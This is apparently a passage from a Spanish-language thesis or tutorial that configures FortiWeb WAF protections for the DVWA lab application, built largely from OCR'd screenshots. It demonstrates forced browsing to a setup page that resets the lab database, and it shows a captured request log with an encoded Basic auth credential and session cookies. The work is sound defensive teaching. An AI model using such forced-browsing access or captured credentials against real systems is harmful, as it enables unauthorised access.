🛟 FortiWeb - FortiWeb	×	+						-	•	×
↔ ∀ ⊕		(i) <b>192.168.1.1</b> :1044/index			80%	· 🛛 🕁		III\ 🗉	) @	Ξ
FortiWeb-VM For	tiWeb							?	) <u>&gt;_</u>	•
System	> ^ E	dit Signature Policy								
E FortiView	>									
👗 User	>	Name	DVWA_Signatures							
Policy	>	Custom Signature Group	Custom_signatures_dvwa	• •						
Server Objects	>	Comments		.11 0/199						
Application Delivery	>	blama	Chabus	Calco Desitivo Mitigation	Action	Disels Design	Councilty	Tring	or Antin	
Web Protection	~	Cross Site Scripting	Status	Faise Positive Mitigation	Alert & Dony	AO	Liab	Inge	er Actio	n
Known Attacks	~	Cross Site Scripting			Alert & Deny	60	Madhan			
Signatures		Cross site scripting (Extended)	•		Alert & Deny	00	Medium			
Custom Signature	_	SQL Injection	•		Period Block	20	High			
Advanced Protection	>	SQL Injection (Extended)	0		Period Block	60	Medium			
Cookie Security		SQL Injection (Syntax Based Detection	on) 🔍		Period Block	60	High			
Input Validation	>	Generic Attacks			Alert & Deny	60	High			
Protocol	_	Generic Attacks(Extended)			Alert	60	Medium			
Access	>	Known Exploits	0		Alert & Deny	60	High			
XML Protection		Trojans	0		Alert & Deny	60	High			
Web Anti-Defacement		Bad Robot			Alert & Deny	60	Low			
FTP Security	>	Information Disclosure	0		Erase & Alert	60	High			
DoS Protection	>	Personally Identifiable Information	0							
Protection	>									-
Tracking	>		ОК	Cancel Sign	ature Details					
Auto Learn	>									
Q Web Vulnerability Scan	> ~									
🖶 🙆 🚞	6	9					<b>▲</b> ())	<b>B</b> IR	0:0 17/04/	6 2019

Figura 60. Activando firmas de seguridad



Adicionalmente vamos a crear una firma personalizada para poder ocultar la información de X-Powered-By: y Server:

Damn Vulnerable Web App (DVV 🗙 🕂		- 0	×
← → C ① No seguro   192.168.1.1/dvwa/login.php		☆ <b>⊖</b>	:
	🕞 🔝 🛛 Elements 🗠	onsole Sources Network Performance Memory Application Security Audits 🔺 1 🚦	×
	🔴 🛇 🔳 🗑 Q	View: 📰 🛬 🔲 Group by frame 📄 Preserve log 💭 Disable cache 📄 Offline Online 🔹	
	Filter	Hide data URLs 📶 XHR JS CSS Img Media Font Doc WS Manifest Other	
DVWA	10 ms 20 ms	30 ms 40 ms 50 ms 50 ms 70 ms 80 ms 90 ms 100 ms	11
	Name	× Headers Preview Response Cookies Timing	
Unempire	ogin.php	Remote Address: 192.168.1.1:80	1
Username	🔄 login_logo.png	Referrer Policy: no-referrer-when-downgrade	
		▼ Response Headers view source	
Password Login		Cache-Control: no-cache, must-revalidate	1
		Connection: Keep-Alive	
		Content-Encoding: gzip	
		content-length: 803	
		Content-Type: text/html;charset=utf-8	
		Date: Wed, 17 Apr 2019 03:13:28 GMT	
		Expires: Tue, 23 Jun 2009 12:00:00 GMT	
		Keep-Alive: timeout=15, max=98	
		Pragma: no-cache	
		Server: XXXXXXXXXXXXXXXXXXXXXXXXXXX	- 1
		X-Frame-Options: DENY	
		X-Powered-By: XXXXXXXXXXXXXXXXXXXXXX	
Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project		▼ Request Headers view source	
Hint: default username is 'admin' with password 'password'		Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/	*;
		q=0.8	
	2 requests   1.2 KB transferre	Accept-Encoding: gzip, deflate	1
문 😂 📋 🕑 🕥		- 🌵 🗟 🕅 0:16 - 🖤	

Figura 61. Ocultando información sensible



Figura 62. Ocultando información sensible

Como se comentó anteriormente podemos ejecutar el escáner de vulnerabilidades que cuenta Fortiweb para poder visualizar brechas de seguridad y recomendaciones para mitigarlas en nuestro sistema web.

🕄 FortiWeb - FortiWeb	×	🗾 Damn Vulneral	ble Web App (DV 🗙 Login P	age ×	+		_ 8 ×
← → ♂ ŵ		③ 192.168	<b>1.1</b> :1044/index		90%	⊠ ☆	⊪\ ⊡ @₁ = <sup>©</sup>
FortiWeb-VM For	rtiWeb						?≻_ ເ>
System	> ^	+Create New	🗹 Edit 🛗 Delete				
FortiView	>	#	Name	Schedule	Profile	Sta	atus Action
🚨 User	>	1	Scan_dvwa	Run Now	Scan_dvwa	D	one OC
Policy	>	2	Scan_dvwa_2	Run Now	Scan_dvwa_2	D	one OC
Server Objects	>						
+ Application Delivery	>						
Web Protection	>						
FTP Security	>						
DoS Protection	>						
IP Protection	>						
Tracking	>						
Machine Learning	>						
<b>Q</b> Web Vulnerability Scan	~						
Web Vulnerability Scan Policy							
Scan Profile							
Web Vulnerability Scan Schedule							
Scan History							
Scanner Integration						Activar Window	VS
	> <sub>~</sub>					Ir a Configuración de	PC para activar Windows.
🕂 (2) 👸 (	6	9					스 네의 🎥 记 18:05 18/04/2019

Figura 63. Análisis de vulnerabilidades de Fortiweb



Figura 64. Reporte de vulnerabilidades de Fortiweb

El autoaprendizaje puede enseñarle mucho sobre las amenazas a las que se enfrentan sus activos web. También le ayuda a comprender las estructuras de sus aplicaciones web y cómo las usan los usuarios finales. Sin embargo, lo más importante es que el aprendizaje automático puede ayudarlo a adaptar rápidamente la configuración de FortiWeb para que se adapte a sus aplicaciones web.

El autoaprendizaje descubre las URL y otras características de las sesiones HTTP y / o HTTPS al observar el tráfico que pasa a sus servidores web. Para saber si la solicitud es legítima o un posible intento de ataque, realiza las siguientes tareas:

- Compara la solicitud para atacar firmas
- Observa entradas tales como cookies y parámetros de URL.
- Rastrea la respuesta de sus servidores web a cada solicitud, como 401 Unauthorizedo500 Internal Server Error
- Captura la tasa de solicitudes de archivos (hits) por dirección IP y tipo de contenido

Al aprender de su tráfico, el dispositivo FortiWeb puede sugerir

configuraciones apropiadas y ayudarlo a generar rápidamente perfiles diseñados específicamente para su tráfico único.

🕄 FortiWeb - FortiWeb	×	The URL you re	quested has been b 🗙 🗾	Damn Vulnerable Web	App (DV 🗙 🕂						- (	8	Х
← → ♂ ☆		③ 192.1	68.1.1:1044/index			70%	⊍	☆	⊻	111	<b>[</b> ]	Qui	-0
FortiWeb-VM Forti	Veb										?		0
System FortP/lew User Jointy ServerObjects Application Delivery Web Protection	> = DVW/ = 19 > = 0 > = 0 > = 0 > = 0	A 2.168.1.1 dvwa login.php index.php instructions.php setup.php vulnerabilities	Refresh Overview Attacks Visits Edit Protected Hostname Domsin Nome 192.168.1.1	Generate Config s Domain Table Web Server Apache/2.2.8 (Jubun DAV/2	Generate PDF Percentage Tu) 100%								
FTP Security      DoS Protection      IP Protection      Tracking      Auto Learn      Auto Learn Profile      Auto Learn Report      Predefined Pattern	> > > >	<ul> <li>brute</li> <li>exec</li> <li>csrf</li> <li>fi</li> <li>sqli</li> <li>qui_blind</li> <li>upload</li> <li>xss_r</li> <li>xss_s</li> <li>security.php</li> </ul>	Item Policy Name Hits Count Attack Count Number of URLs Average hits per second Max hits per second	Overview Table	Value								
Custom Pattern Application Templates Q. Web Vulnerability Scan Iail LogSReport C. Monitor	> > >	phpino php about php instructions /				_	Acti Ir a C	var Windows onfiguración de PC	para ac	tivar W	ʻindov	NS.	
📲 🙆 🚞	6	9							- ()	<b>Pa</b> 17	7 19	23:33 )/04/2	8 019

Figura 65. Análisis de tráfico por Fortiweb

🕄 FortiWeb - FortiWeb		Х	The URL you rec	lues	sted has been bl 🗙 🗾 Damn Vul	Inerable Web A	pp (DV 🗙	+								-	8	Х
↔ → ♂ ŵ			i 192.1	68.1	<b>1.1</b> :1044/index					70% ••••	⊌			⊻	111		Gu	-0
FortiWeb-VM Fortiv	Veb															?		0
System	>		K		Refresh Gener	ate Config	6	ienerate	PDF									
📥 FortiView	>	= DVW/	2 168 1 1	04	enview Attacks Visite													^
💄 User	>	i i	dvwa	0.														_
Policy	>		-logout.php					Attac	k Table									
Server Objects	>		login.php		Name	Count	Percentage	Detail	Action	Туре		Custom	Recommendation					
+ Application Delivery	>		instructions.php		Cross Site Scripting	1	1.9%	<u> </u>	Alert V	Recommended	¥	On ∨	On					
Web Protection	>		-setup.php		Cross Site Scripting (Extended)	0	0%	2	Alert V	Recommended	¥	0n V	On					
FTP Security	>		vulnerabilities     +-brute		SQL Injection	1	1.9%	2	Alert V	Recommended	V	On V	On					
DoS Protection	>		+ exec		SQL Injection (Extended)	0	0%	2	Alert V	Recommended	v	On ∀	On					
L IP Protection	>		* csrf		SQL Injection (Syntax Based Detection)	0	0%	<u>R</u>	Alert V	Recommended	Y	On ∀	On					
Tracking	>		ern E sqli		Generic Attacks	1	1.9%	8	Alert V	Recommended	V	On ∨	On					
	~		+ sqli_blind		Generic Attacks(Extended)	0	0%	<b>N</b>	Alert V	Recommended	¥	On ∨	On					
Auto Learn Profile			+ upload		Information Disclosure	0	01.4%	96 02	Alert V	Recommended	¥	On V	On On					
Auto Learn Report			+ xss_s		Known Exploits	0	0%	8	Alert V	Recommended	v	On V	On					
Predefined Pattern	>		-security.php		Personally Identifiable Information	0	0%	<u>\$</u>	Alert V	Recommended	v	On ∨	On					
Custom Pattern	>		phpinfo.php		Bad Robot	0	0%		Alert V	Recommended	v	0n ∀	On					
Application Templates			instructions															
Web Vulnerability Scan	>	÷	/															
Jul LogSReport	Ś																	
	Ś																	
Monitor																		
											Activ	var Wi	ndows					
										1	r a C	onfigure	ción de PC par	a acti	ivar V			
											a C		cion de ricipar		ival V			
۹		1																$\checkmark$
🕂 (ê) 🚞		6	9											<b>(</b> ))	Pa i	a 1	23:3 9/04/1	4 2019

Figura 66. Clasificación de ataques revisados por AL

Otra técnica que Fortiweb nos permite usar para la protección de



posibles ataques es la **reescritura de url**, pero en este caso va en conjunto con una reescritura del cuerpo html tanto en los **request y response**, veremos cómo nuestras páginas tienen la extensión **.php** dando información muy importante para usuarios maliciosos.



Figura 67. Divulgación de información

Ahora veremos cómo las url ya no muestran su extensión **.php** ayudándonos a no divulgar información de manera innecesaria.



Figura 68. Ocultando la extensión de archivos del sistema



The URL you requeste	d has been X +		-	8	×
← → C ① No	seguro   192.168.1.1/dvwa/setup		© ☆	Θ	:
	Web Page Blocked!				
	The page cannot be displayed. Please contact the administrator for additional information.				
	URL: 192.168.1.1/dvwa/setup				
	Client IP: 192.168.1.2 Attack ID: 20000007 Message ID: 000000079611				
		Activar Windows Ir a Configuración de PC para ac	tivar Winc:	lows.	
🕂 (ð 🏢		<b>△</b> ((	<b>R</b> R	3:45 21/04/2	; 2019

Figura 69. Ocultando la extensión de archivos del sistema

## 12. Ataques por exposición de datos sensibles

## 12.1 Exposición de datos sensibles

Este objetivo es el corazón del cumplimiento de **PCI DSS**. Las otras 10 principales amenazas de OWASP pueden afectar la seguridad de los datos almacenados de la tarjeta de pago, una razón más para eliminar dicha función de la aplicación web si es posible pero esta amenaza es específicamente sobre los datos mientras está en tránsito, en los cables.

Al igual que FortiGate, FortiWeb tiene protección de fuga de datos para detectar fugas de tarjetas de crédito en las respuestas del servidor. Idealmente, los servidores deberían aceptar números de tarjeta, pero nunca aumentar el riesgo repitiéndolos al cliente. FortiWeb va más allá, sin embargo. Como terminador SSL o TLS, FortiWeb solo puede ofrecer a sus clientes las versiones de protocolo y las suites de cifrado más seguras. Esto ayuda a mantener sus servidores y clientes más seguros. **Si se registran los ataques, puede enmascarar fácilmente las contraseñas y los números de las tarjetas de crédito para que no aparezcan en los registros sin encriptar**.

A continuación, vemos como en una conexión http las credenciales de un usuario va en texto plano.

Damn Vulnerable Web App (DVV 🗴 D WebGoat	× +	_ 8 ×
← → C ▲ No seguro   192.168.1.1/dvwa/login		~ ☆ 🖰 :
	DVWA	
	Username admin	
	Password Logit	
	Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project	Activer Windows
	Hint: default username is 'admin' with password' password'	Ir a Configuración de PC para activar Windows.
- 6 📋 🌢 🔉		▲ 🕩 🔭 👬 17:07 20/04/2019

Figura 70. Iniciando sesión en el sistema web



Figura 71. Visualizamos las credenciales en texto plano



# 12.2 Mitigaciones a la exposición de datos sensibles

**Fortiweb** nos permite habilitar DLP, editamos una política de firma, podemos configurar FortiWeb para detectar una infracción basada en un número específico de números de tarjetas de pago en la página web, si es necesario.

FortiWeb - FortiWeb		×	+								- 6	5	×
← → ♂ ŵ			(i) 192.168.1.1:104	14/index			70% •••• (	ጋ 습	⊻	1111	1	9	-0
FortiWeb-VM FortiW	/eb										?		•
🔅 System	>	Edit Sign	nature Policy										
E FortiView	>												
🛔 User	>	Nam	ne	DVWA_Signatures									
Policy	>	Cust	tom Signature Group	Custom_signatures_	dvwa 🔻 🗿								
Server Objects	>	Com	nments			.1] 0/199							
+ Application Delivery	>			Norma	(halian	File Bill - Mile Mile II.		Di - 1 D - 1 - 1	0				_
Web Protection	~		Cross Site Scripting	Name	Status	Faise Positive Mitigation	Action	Block Period	Severity		irigger A	ction	
Known Attacks	~						Alert & Deliy	60	nign				
Signatures			Cross Site Scripting (Extended)			•	Alert & Deny	60	Medium				
Custom Signature	_		SQL Injection				Period Block	20	High				
Advanced Protection	>		SQL Injection (Extended)			C	Period Block	60	Medium				
Cookie Security	_		SQL Injection (Syntax Based D	etection)			Period Block	60	High				
Input Validation	>		Generic Attacks				Alert & Deny	60	High				
Protocol	_		Generic Attacks(Extended)				Alert	60	Medium				
Access	>		Known Exploits				Alert & Deny	60	High				
XIML Protection			Trojans				Alert & Deny	60	High				
Web Anti-Defacement			Bad Robot				Alert & Denv	60	Low				
FTP Security	>		Information Disclosure				Frase & Alert	60	High				
Dos Protection	2	-	Demonstly Identifiable Informa	1200			Alert	60	Lilah				
IP Protection	2		Defective Three built	illon -	1		Puert	00	r ng r				
	1		Detection Inreshold		1								
Web Vulnerability Scan					OK	Canad	hura Datalla						
Jul Los&Report					OK	Cancel Signal	ture Details						
Monitor	>						Ao Ir a	ctivar Windov a Configuración de	<b>VS</b> e PC para acti	ivar V	/indov	VS.	
🕂 (ê) 🚞	(	5	<b>(</b> )	A State of the					÷ 🕩	Pa R	al 21.	0:02 /04/2	019

Figura 72. Activando firmas de seguridad

🕄 FortiWeb - FortiWeb	×	+									- 6	9	Х
← → ♂ ☆		(i) 192.168.1.1:1044	/index		7	∞ … ⊽	☆		⊻	111\	•	gai	-0
FortiWeb-VM FortiV	Veb										?		0
System	Diction	aries 🤇	Credit Card Nu	mber			Signature ID	: 100010001					>
FortiView		Cross Site Scripting	Search Descrip	tion	<b>०</b> , ११		Signature	Exception	Threat V	Veight			
🛔 User		Cross Site Scripting (Extended)	Signature ID	Status	Description		Cimeture I		100010001				
Policy	> ***	SQL Injection (Extended)	100010001	✓ Enable	This signature checks if there is credit card leakage in pages from web	server. The	HTTP/2 Co	nnatible	100010001				
Server Objects	>	SQL Injection (Syntax Based Detection			leakage can be achieved in HTTP response body.		111172.00	mpacible	_				
+ Application Delivery		Generic Attacks Generic Attacks(Extended)					Alert Only:						
Web Protection	v 8	Known Exploits					Description	c					
Known Attacks	v	Trojans					This signal from web	ture checks if server	there is crea	iit card le	akage în	pages	
Signatures		Bad Robot					The leakag	ge can be achi	eved in HTT	P respons	se body.		
Custom Signature	86.	Personally Identifiable Information											
Advanced Protection	>	Credit Card Number Social Security Number											
Cookie Security	-Q Sei	arch											
Input Validation	> T Filt	ters											
Protocol													.4
Access	>						Found In:						
XML Protection			Match Example	•		v	RESPONS	E_BODY					
Web Anti-Defacement			HTTP1.X	HTTP2		î							
FTP Security	>		:status: 200 server: Micros	soft-IIS/5.1	4.017								
DoS Protection	>		date: Wed, 15 content-type:	Feb 2012 06:18 text/html	41 GMI								
IP Protection	>		last-modified:	Wed, 15 Feb 20	12 06:14:09 GMT								
Tracking	>		etag: "16//5e content-lengt	/a9ebcc1:a54" h: 146									
Auto Learn	>		<html></html>										.4
Q Web Vulnerability Scan	>		<head> </head>										
Ind Log&Report	>		<body></body>										
C Monitor	,		This is a test p The credit car	age for credit ca d number is [409	d leakage. 6688354171422].	Acti	var Wir	ndows					
						lr a C	onfigurad	ión de PC	para ac	tivar W	indow		
Q	<	>				~							
- e	6	<b>(</b>							• 🕩	<b>Pa</b> 1	21/	0:05 04/2(	019
Figur	a 73	Activand	o la r	prote	cción para número d	e tarie	tas	de	réc	litc	_ ۱		



Recuerde: tanto A6 como PCI DSS requieren seguridad mientras el pago está en tránsito. Para asegurar los datos de la tarjeta de pago mientras está en tránsito, la autenticación y el cifrado son fundamentales. Tenga en cuenta que las versiones anteriores de SSL 2.0 y SSL 3.0 tienen muchas vulnerabilidades conocidas, y deben evitarse, si es posible.

Si se requiere que cumpla con las normas PCI DSS, SSL 2.0, fortaleza de clave débil y hash MD5 se consideran violaciones de PCI DSS. Pronto, SSL 3.0, TLS 1.0 y SHA-1 también pueden ser violaciones. Esto es cada vez más probable, porque los estilos de renegociación y las suites de cifrado especificados ahora tienen exploits.

😫 FortiWeb - FortiWeb	x +											-	3	Х
↔ ∀ ⊕		(i) 192.168.1.	<b>1</b> :1044/index			70%	•••	⊠ לי		⊻	111	•	Gi	-0
FortiWeb-VM FortiWel	b											?	>_	0
System 2	Edit Policy				Edit Policy									X
FortiView	Protected H		Srv Lihuntu 💌		SNI Policy	[Please Select.	]	•						^
🛔 User 🔅	Client Real I		0		Enable URL Based Client Certificate	0								
Policy V	<u></u>					Defines for whic	ch URLs the cl	ient will need	to submit a certificate	2.				
Server Policy			Configure FortiWeb as the default gatewa	ay on the	Enable OCSP Stapling									
Web Protection Profile						Append a time-s	stamped OCS	P response się	gned by the CA to the	initial TL	S hands	hake to o	elimina	te
FTP Security Profile	Syn Cookie		U		<b>•</b> •••••	the need for clie	ents to contact	t the CA.						
Threat Weight	Half Open Ti	hreshold			SSL Connection Settings									
Server Objects	HTTD Service				Supported SSL Protocols	Protocol	Enable	Disable						
Application Delivery			111173			TLS 1.0		•						
Web Protection	HTTPS Servi	ice	HTTPS 💌			TLS 1.1		0						
FTP Security	HTTP/2		0			115 1.2	•	0						
DoS Protection	Certificate		[Please Select]		SSL/TLS Encryption Level	Medium Hig	h Customize	ed						
Protection >	Certificate I		[Please Select]		Dische Officer Infinited COL Descentioning	FortiWeb will al	llow only certa	ain cipher suit	es depending on the e	ncryptic	on level d	lefined.		
Tracking :	Advanced SS				Disable Client-Initiated SSL Kenegotiation									
■ Auto Learn						Ignores client re DoS attacks tha	equests for SS t use the disp	L/ILS renego roportionate :	tation to protect agair server-side computins	ıst z burden	during S	SL/TLS		
Q Web Vulnerability Scan	Redirect HT	TP to HTTPS	0			renegotiation.		,	, , ,					
Log&Report >					HTTPS Header Insertion									
G Monitor	Security Cor	nfiguration			Client Certificate Forwarding									
						FortiWeb will fo	orward client o	certificate info	ormation to the web s	erver via	a specif	ic HTTP	header	r
	Web Protect		[Please Select]	0	Adductous	field.								
	Auto Learn F	Profile	[Please Select]		Add HS15 Header	•								
	Monitor Mo	de				Add an HSTS he only interact wit	vader ("Strict-i th this web se	Transport-Sec rver using sec	urity") to responses ti ure HTTPS connectio	o declare ns	e that bri	owsers s	hould	
	URL Case Se	ensitivity			Max. Age	15552000	٨	ctivor V	Seconds (3600 - 3153	6000)				
	Comments				Add HPKP Header	[Please Select.	_]	a Configu	ración de PC pa	ara act	ivar V	/indov	WS.	~
0						utto buklie Va	OK	Cancel	itu machaniem daliwar	ad uia a	UTTO	voodor ti	hat	
📲 🙆 📕	6		1						4	- (þ)	<b>R</b> 1	20	22:30 //04/2	0 019

Figura 74. Activar TLS para las comunicaciones seguras



A continuación, vemos la configuración para cifrar las claves de los usuarios en los logs.

🛟 FortiWeb - FortiWeb	×	+				_ 8 ×
← → ♂ ☆		i	192.168.1.1:1044/index		70% 🗵 🏠	⊻ ⊪\ ⊡ ଢ =
FortiWeb-VM FortiW	'eb					? ≻_ ເ≻
System	> +Cre	ate New 🛛 🖉	Edit Delete		C	Enable Predefined Rules C Enable Custom Rules
EortiView	>		Name	General Mask	Field Name	Field Value
👗 User	>	1	hide_password		password	(*)
Policy	>					
Server Objects	>					
Application Delivery	>					
Web Protection	>					
FTP Security	>					
DoS Protection	>					
IP Protection	>					
Tracking	>					
Auto Learn	>					
Q Web Vulnerability Scan	>					
III Log&Report	~					
Log Access	>					
Report	>					
Log Policy	>					
Log Config	~					
Global Log Settings						
Other Log Settings						
Sensitive Data Logging						
C Monitor	>					
					Activar Wind	OWE
					Actival vvilla	u de PC esers actives Windows
					ir a Configuración	i de rici para activar Windows.
Q						
🕂 健 🚞	6	<b>(</b>	and the second second			▲ 1 → 1 ← 0:18 ▲ 1 → 1 → 1 → 0:18 ▲ 21/04/2019

Figura 75. Activando el cifrado de información sensible en los logs

Validamos como la clave es correctamente cifrada en los logs almacenados en nuestro Fortiweb.

🕄 FortiWeb - FortiWeb	;	< <b>+</b>									_ 8 ×	
↔ ∀ ⊕		(	i) 192.168.1	<b>.1</b> :1044/ind	ex				70%	· 🛛 🕁	⊻ III\ 🖸 🖓 =	0
FortiWeb-VM FortiWeb	)										?≻ 0	•
System >	~	¥ Mathadi		iltor						Username	Unknown	^
FortiView >	-	A Methou.	post V Add P	litter					× L	HTTP Referer	http://192.168.1.1/dvwa/login.php	
≜ llear >>	#	Date/Time	Policy	Source	Destination	Service	Method	Return Code	Message	Client Device ID	none	
Sei 2	₽1	04-20 16:55	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51447 to 20.20.20.5:80	Message	HTTP post request from 192.168.1.2:51447 t	
Policy >	2	04-20 16:54	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51401 to 20.20.20.5:80	include a	o 20.20.20.5:80	
Server Objects	3	04-20 16:54	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51401 to 20.20.20.5:80	Licer Agent	Mozilla/5.0 (Windows NT 6.3; Win64; x64) Ap	
+ Application Delivery	4	04-20 16:54	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51401 to 20.20.20.5:80	Osei Ageni	me/72.0.3626.121 Safari/537.36	
a Web Protection >>	5	04-20 16:53	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51333 to 20.20.20.5:80	Connection		
ETD Security	6	04-20 12:27	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51892 to 20.20.20.5:80	192 168 1 2:51447	-> 20 20 20 5-80	
	7	04-20 12:24	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51723 to 20.20.20.5:80	D L L L		
Dos Protection	8	04-20 12:23	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51703 to 20.20.20.5:80	Packet Header		
IP Protection >	9	04-20 12:18	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:51452 to 20.20.20.5:80	POST /dvwa/login.php	HTTP/1.1	
□ Tracking >	10	04-20 12:08	DVWA	192.168.1.2	20.20.20.5	http	post	302	HTTP post request from 192.168.1.2:50948 to 20.20.20.5:80	Host: 192.168.1.1		
E Auto Learn     >	11	04-20 12:05	DVWA	192.168.1.2	20.20.20.5	http	post	301	HTTP post request from 192.168.1.2:50905 to 20.20.20.5:80	Connection: keep-alive		
Web Wulnershill the Scop	12	04-20 11:46	Srv_Webgoat	192.168.1.2	20.20.20.7	http	post	302	HTTP post request from 192.168.1.2:50882 to 20.20.20.7:80	Content-Length: 42		
vveb vulnerability Scall 7	13	04-19 22:35	DVWA	192.168.1.2	20.20.20.5	http	post	301	HTTP post request from 192.168.1.2:50876 to 20.20.20.5:80	Cache-Control: max-ag	,e=0	
Lill Log&Report	14	04-19 22:35	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50876 to 20.20.20.5:80	Authorization: Basic Y3	JN1bGNhOmNhcmxvJDIwM1k=	
Log Access V	15	04-19 22:35	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50876 to 20.20.20.5:80	Origin: http://192.168.	1.1	
Attack	16	04-19 22:35	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50876 to 20.20.20.5:80	Upgrade-Insecure-Req	uests: 1	
Event	17	04-19 22:34	DVWA	192.168.1.2	20.20.20.5	http	post	400	HTTP post request from 192.168.1.2:50860 to 20.20.20.5:80	Content-Type: applicat	on/x-www-form-urlencoded	
Traffic	18	04-19 22:34	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50860 to 20.20.20.5:80	User-Agent: Mozilla/5J	0 (Windows NT 6.3; Win64; x64) AppleWebKit/ ecko) Chrome/72.0.2626.121 Safari/527.26	
Hallic	19	04-19 22:33	DVWA	192.168.1.2	20.20.20.5	http	post	400	HTTP post request from 192.168.1.2:50848 to 20.20.20.5:80	Accept text/html appli	ention (when I ym) application (vm) a 0.9 image (	
Download	20	04-19 22:33	DVWA	192.168.1.2	20.20.20.5	http	post	400	HTTP post request from 192.168.1.2:50847 to 20.20.20.5:80	webp,image/apng,*/*;q=	=0.8	
Report >	21	04-19 22:31	DVWA	192.168.1.2	20.20.20.5	http	post	400	HTTP post request from 192.168.1.2:50779 to 20.20.20.5:80	Referer: http://192.168	3.1.1/dvwa/login.php	
Log Policy >	22	04-19 22:30	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50779 to 20.20.20.5:80	Accept-Encoding: gzip,	deflate	
Log Config >>	23	04-19 22:30	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50779 to 20.20.20.5:80	Accept-Language: es-4	19,es;q=0.9	
Log Coning	24	04-19 22:30	DVWA	192.168.1.2	20.20.20.5	http	post	400	HTTP post request from 192.168.1.2:50768 to 20.20.20.5:80	Cookie: security=low; F	PHPSESSID=d7c3336635f06da156252d8c3eaa	
G Monitor	25	04-19 22:29	DVWA	192.168.1.2	20.20.20.5	http	post	301	HTTP post request from 192.168.1.2:50768 to 20.20.20.5:80	54f5; cookiesession1=	1A05C432B842SKMLEMUVQXNBSPXM3905	
	26	04-19 22:29	DVWA	192.168.1.2	20.20.20.5	http	post	301	HTTP post request from 192.168.1.2:50768 to 20.20.20.5:80	X-Forwarded-For: 192	168.1.2	
	27	04-19 22:29	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50768 to 20.20.20.5:80	Raw Body: Wind		
	28	04-19 22:29	DVWA	192.168.1.2	20.20.20.5	http	post	401	HTTP post request from 192.168.1.2:50768 to 20.20.20.5:80 ¥	Uusemame=admin&pag	word Windows.	
	<								>			
Q					~	( 1	/210	> » [Tota	1:20990]	Hex Body:		¥
1	6	0									▲ ● ► ■ 0:19 ▲ ● ► ■ 21/04/2019	

Figura 76. Clave cifrada en los logs



# 13. Ataques por ausencia de control de acceso a las funciones

## 13.1 Ausencia de control de acceso a las funciones

El hecho de que no haya hipervínculos públicos a una página web administrativa no significa que no se encuentre y explote. Si las reglas de acceso de su servidor web no lo prohíben, un atacante podría incluso acceder a archivos fuera del directorio de su aplicación web e incluso dentro de la propia aplicación web, no se puede suponer que los clientes siempre accedan a las páginas web de forma autorizada.

Algunos de los hacks más famosos se han ejecutado simplemente editando la URL que estaba en la barra de URL del navegador, tratando de acceder a las URL donde la aplicación no verificó la autorización. Esto se llama **navegación forzada.** 

Recuerde incluso si un usuario está autenticado, no están necesariamente autorizados para cada URL. Para cada solicitud, la aplicación debe verificar que el cliente esté autorizado para ese dominio, como lo hace FortiWeb, y en ese paso de la sesión. La aplicación también debe verificar que la URL debe ser accesible desde esa dirección IP.

Los archivos de configuración no deberían ser accesibles a través de Internet. El acceso debe estar restringido a una red de gestión privada. Podría haber otras URL, usadas internamente por la aplicación web, cuyos permisos deberían establecerse para que no se pueda acceder directamente desde Internet.



A continuación, veremos cómo desde la página inicial del sistema donde necesitamos iniciar sesión para poder dar uso al sistema podemos moficar la url a **192.168.1.1/dvwa/setup.php** y accedemos sin problemas y resetamos la base de datos.



Figura 77. Página de inicio de sesión del sistema web

Damn Vulnerable Web App (DVV × +			- 8	×						
← → C (③ No seguro   192.168.1.1/dvwa/setup.	php#	<u>B</u> j	☆ €	Э :						
	DVWA									
Home	Database setup 🍾									
Setup	Instructions         Click on the 'Create / Reset Database' button below to create or reset your database. If you get an error make sure you have the correct user credentials in /config/config.inc.php           Setup         If the database already exists, it will be cleared and the data will be reset.									
Brute Force	Padravi Delahara Mat01									
Command Execution CSRF										
File Inclusion	Create / Reset Database									
SQL Injection (Blind)	Database has been created.									
Upload XSS reflected	'users' table was created.									
XSS stored	Data inserted into 'users' table.									
DVWA Security	'guestbook' table was created.									
PHP Info About	Data inserted into 'guestbook' table.			2						
Logout	Setup successful! Activar Windows Ir a Configuración de PC			ā.						
🕂 ⋵ 🚞 🙆 🕥		- 10 18 1	21/0	▼ 1:36 14/2019						

Figura 78. Borrado de la base de datos por acceso inválido



# 13.2 Mitigación en ausencia de control de acceso a las funciones

Fortiweb nos permite combinar diversas técnicas para protegernos de este tipo de ataques como usar las reglas de control de acceso, incluidas las llamadas reglas personalizadas, que le permiten combinar múltiples factores, como **User-Agent:** y la limitación de velocidad, se pueden seleccionar en el perfil de protección. También lo pueden hacer las **páginas de inicio**, **las reglas de orden de página y las firmas**.

Crearemos una regla de página de inicio con la url correcta /dvwa/login ahora vemos como al intentar saltar el login y intentar ingresar a setup.php es bloqueado su solicitud por intentar acceder a una url no autorizada para los usuarios, pero si intentan acceder a otra url como /dvwa/instructions.php los usuarios son redireccionados a la página de inicio.





Damn Vulnerable Web App (DVV × +		_ 0 _ ×
← → C (③ No seguro   192.168.1.1/dvwa/login		☆ \varTheta :
	Image: Registration of the second	sole Sources Network Performance Memory Application Security Audits A 1 : 3
